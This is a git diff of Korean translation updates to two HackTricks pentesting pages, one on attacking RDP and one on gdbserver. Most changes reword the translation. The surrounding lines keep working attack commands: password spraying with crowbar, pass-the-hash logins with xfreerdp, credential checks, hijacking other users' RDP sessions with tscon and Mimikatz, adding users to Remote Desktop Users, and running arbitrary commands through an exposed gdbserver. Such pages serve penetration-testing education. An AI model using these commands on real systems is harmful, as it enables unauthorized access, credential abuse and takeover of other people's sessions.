Microsoft에서 개발된 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능케 하는 것을 목적으로 합니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하며, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정을 통해 먼 컴퓨터의 데스크톱 환경을 원격으로 제어하고 액세스할 수 있어 사용자의 로컬 장치로 해당 인터페이스를 가져올 수 있습니다.
|
||||
|
||||
**기본 포트:** 3389
|
||||
```
|
||||
|
@ -43,11 +43,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
|
|||
|
||||
### [무차별 대입 공격](../generic-methodologies-and-resources/brute-force.md#rdp)
|
||||
|
||||
**주의: 계정이 잠길 수 있습니다**
|
||||
**주의하세요, 계정이 잠길 수 있습니다**
|
||||
|
||||
### **비밀번호 스프레이**
|
||||
|
||||
**주의: 계정이 잠길 수 있습니다**
|
||||
**주의하세요, 계정이 잠길 수 있습니다**
|
||||
```bash
|
||||
# https://github.com/galkan/crowbar
|
||||
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
|
@ -61,15 +61,15 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
|
|||
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
|
||||
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### 알려진 자격 증명을 RDP 서비스에 대해 확인하기
|
||||
### 알려진 자격 증명을 RDP 서비스에 대해 확인
|
||||
|
||||
impacket의 rdp_check.py를 사용하면 특정 자격 증명이 RDP 서비스에 유효한지 확인할 수 있습니다:
|
||||
impacket의 rdp_check.py를 사용하면 일부 자격 증명이 RDP 서비스에 대해 유효한지 확인할 수 있습니다:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디에서나 완전한 펜테스트를 실행하십시오. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행할 수 있으며, 이는 정찰부터 보고서 작성까지 이어집니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고 쉘을 열며 즐길 수 있는 시간을 돌려주기 위해 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -77,7 +77,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
|
||||
### 세션 도용
|
||||
|
||||
**SYSTEM 권한**으로 **모든 사용자의 열린 RDP 세션에 액세스**할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
**SYSTEM 권한**으로 **모든 사용자가 열어 놓은 RDP 세션**에 액세스할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
|
||||
**열린 세션 가져오기:**
|
||||
```
|
||||
|
@ -87,11 +87,11 @@ query user
|
|||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
이제 선택한 RDP 세션 내부에 있게 되며 Windows 도구와 기능만을 사용하여 사용자를 흉내 내야 합니다.
|
||||
이제 선택한 RDP 세션 내부에 들어가서 Windows 도구와 기능만을 사용하여 사용자를 흉내 내야합니다.
|
||||
|
||||
**중요**: 활성 RDP 세션에 액세스하면 해당 세션을 사용하던 사용자를 로그아웃시킵니다.
|
||||
**중요**: 활성 RDP 세션에 액세스하면 사용 중이던 사용자가 로그아웃됩니다.
|
||||
|
||||
프로세스 덤프를 통해 암호를 얻을 수도 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크톱과 상호 작용할 수 있게 해줍니다(암호가 디스크에 저장되지 않은 채 메모장에 표시되거나, 다른 기기에서 열린 다른 RDP 세션 등...)
|
||||
프로세스 덤프에서 비밀번호를 가져올 수도 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크톱과 상호 작용할 수 있게 해줍니다(디스크에 저장되지 않은 메모장의 비밀번호, 다른 기기에서 열린 다른 RDP 세션 등...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -108,7 +108,7 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
### RDP 프로세스 주입
|
||||
|
||||
다른 도메인에서 또는 **더 높은 권한으로 RDP를 통해 로그인한 경우**에 **관리자인 경우**에는 **해당 RDP 세션 프로세스에 자신의 비콘을 주입**하여 그의 역할을 할 수 있습니다:
|
||||
다른 도메인에서 또는 **더 높은 권한으로 RDP를 통해 로그인한 경우**에 **관리자인 PC**에서, **당신이 관리자인 경우**, **당신의 비콘을 그의 RDP 세션 프로세스에 주입**하여 그의 역할을 할 수 있습니다:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
|
@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**은 Powershell로 작성된 포스트 익스플로잇 프레임워크로, 주로 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하는 데 사용됩니다. 이 취약점은 (Microsoft에서 기능으로 나열됨) 원격 공격자가 자신의 동의 없이 피해자의 데스크톱을 **볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 제어할 수 있게 합니다.
|
||||
**AutoRDPwn**은 주로 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 설계된 Powershell로 작성된 사후 침투 프레임워크입니다. 이 취약점은 Microsoft에서 기능으로 명시된 것으로, 원격 공격자가 피해자의 데스크톱을 그의 동의 없이 **볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 제어할 수 있게 합니다.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* 명령 줄에서 자동화된 방식으로 마우스 및 키보드 제어
|
||||
* 명령 줄에서 자동화된 방식으로 클립보드 제어
|
||||
* 명령 줄에서 마우스 및 키보드 제어를 자동화하는 방법
|
||||
* 명령 줄에서 클립보드 제어를 자동화하는 방법
|
||||
* 클라이언트에서 RDP를 통해 통신을 채널링하는 SOCKS 프록시 생성
|
||||
* 파일 전송이 대상에서 비활성화되어 있더라도 대상에 대해 임의의 SHELL 및 PowerShell 명령 실행
|
||||
* 대상과 파일을 업로드하고 다운로드하기 (대상에서 파일 전송이 비활성화된 경우에도)
|
||||
* 파일을 업로드하지 않고 대상에서 임의의 SHELL 및 PowerShell 명령 실행
|
||||
* 대상과 파일 전송이 비활성화된 경우에도 대상과 파일을 업로드하고 다운로드하기
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
|
@ -148,9 +148,9 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행할 수 있으며, 이는 정찰부터 보고서 작성까지 이어집니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 그들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -160,10 +160,10 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,31 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 펜트스팅을 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행하십시오. 이는 recon부터 보고서 작성까지 이어지는 사용자 정의 도구, 탐지 및 익스플로잇 모듈을 개발하여 펜테스터를 대체하지 않고 깊이 파고들고 쉘을 열고 즐길 수 있도록 합니다.
|
||||
**취약점 평가 및 펜트스팅을 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행할 수 있으며, 이는 정찰부터 보고서 작성까지 이어집니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 깊이 파고들고 쉘을 열고 즐길 수 있도록 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**gdbserver**는 프로그램을 원격으로 디버깅할 수 있게 하는 도구입니다. 이는 "타겟"이라고 하는 동일한 시스템에서 디버깅이 필요한 프로그램과 함께 실행됩니다. 이 설정을 통해 **GNU 디버거**가 소스 코드와 디버깅된 프로그램의 바이너리 사본이 저장된 "호스트"라는 다른 기계에서 연결할 수 있습니다. **gdbserver**와 디버거 간의 연결은 TCP 또는 직렬 라인을 통해 이루어지며 다양한 디버깅 설정을 가능하게 합니다.
|
||||
**gdbserver**는 프로그램을 원격으로 디버깅할 수 있게 하는 도구입니다. 이는 "대상"이라고 하는 동일한 시스템에서 디버깅이 필요한 프로그램과 함께 실행됩니다. 이 설정은 **GNU 디버거**가 소스 코드와 디버그 대상 프로그램의 바이너리 사본이 저장된 "호스트"라는 다른 기계에서 연결할 수 있도록 합니다. **gdbserver**와 디버거 간의 연결은 TCP 또는 직렬 라인을 통해 이루어지며, 다양한 디버깅 설정을 가능하게 합니다.
|
||||
|
||||
**gdbserver를 어떤 포트에서든 듣도록 설정**할 수 있으며 **현재 nmap은 서비스를 인식할 수 없습니다**.
|
||||
**gdbserver를 어떤 포트에서든 수신 대기**하도록 만들 수 있으며, **현재 nmap은 서비스를 인식할 수 없습니다**.
|
||||
|
||||
## 익스플로잇
|
||||
## 악용
|
||||
|
||||
### 업로드 및 실행
|
||||
|
||||
|
@ -55,7 +55,7 @@ run
|
|||
```
|
||||
### 임의 명령 실행
|
||||
|
||||
**디버거가 임의 명령을 실행하도록 하는 또 다른 방법이 있습니다.** [**여기에서 가져온 파이썬 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) **를 통해 가능합니다.**
|
||||
또 다른 방법은 **디버거가** [**여기에서 가져온 파이썬 사용자 정의 스크립트를 통해 임의 명령을 실행하는 것입니다**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -195,9 +195,9 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디서든 전체 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 맞춤형 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20가지 이상의 도구 및 기능을 사용하여 어디에서나 완전한 펜테스트를 실행하고, 정찰부터 보고서 작성까지 가능합니다. 우리는 펜테스터를 대체하지 않습니다 - 대신, 사용자들이 더 심층적으로 파고들고, 쉘을 열고 즐길 수 있도록 사용자 정의 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -210,7 +210,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|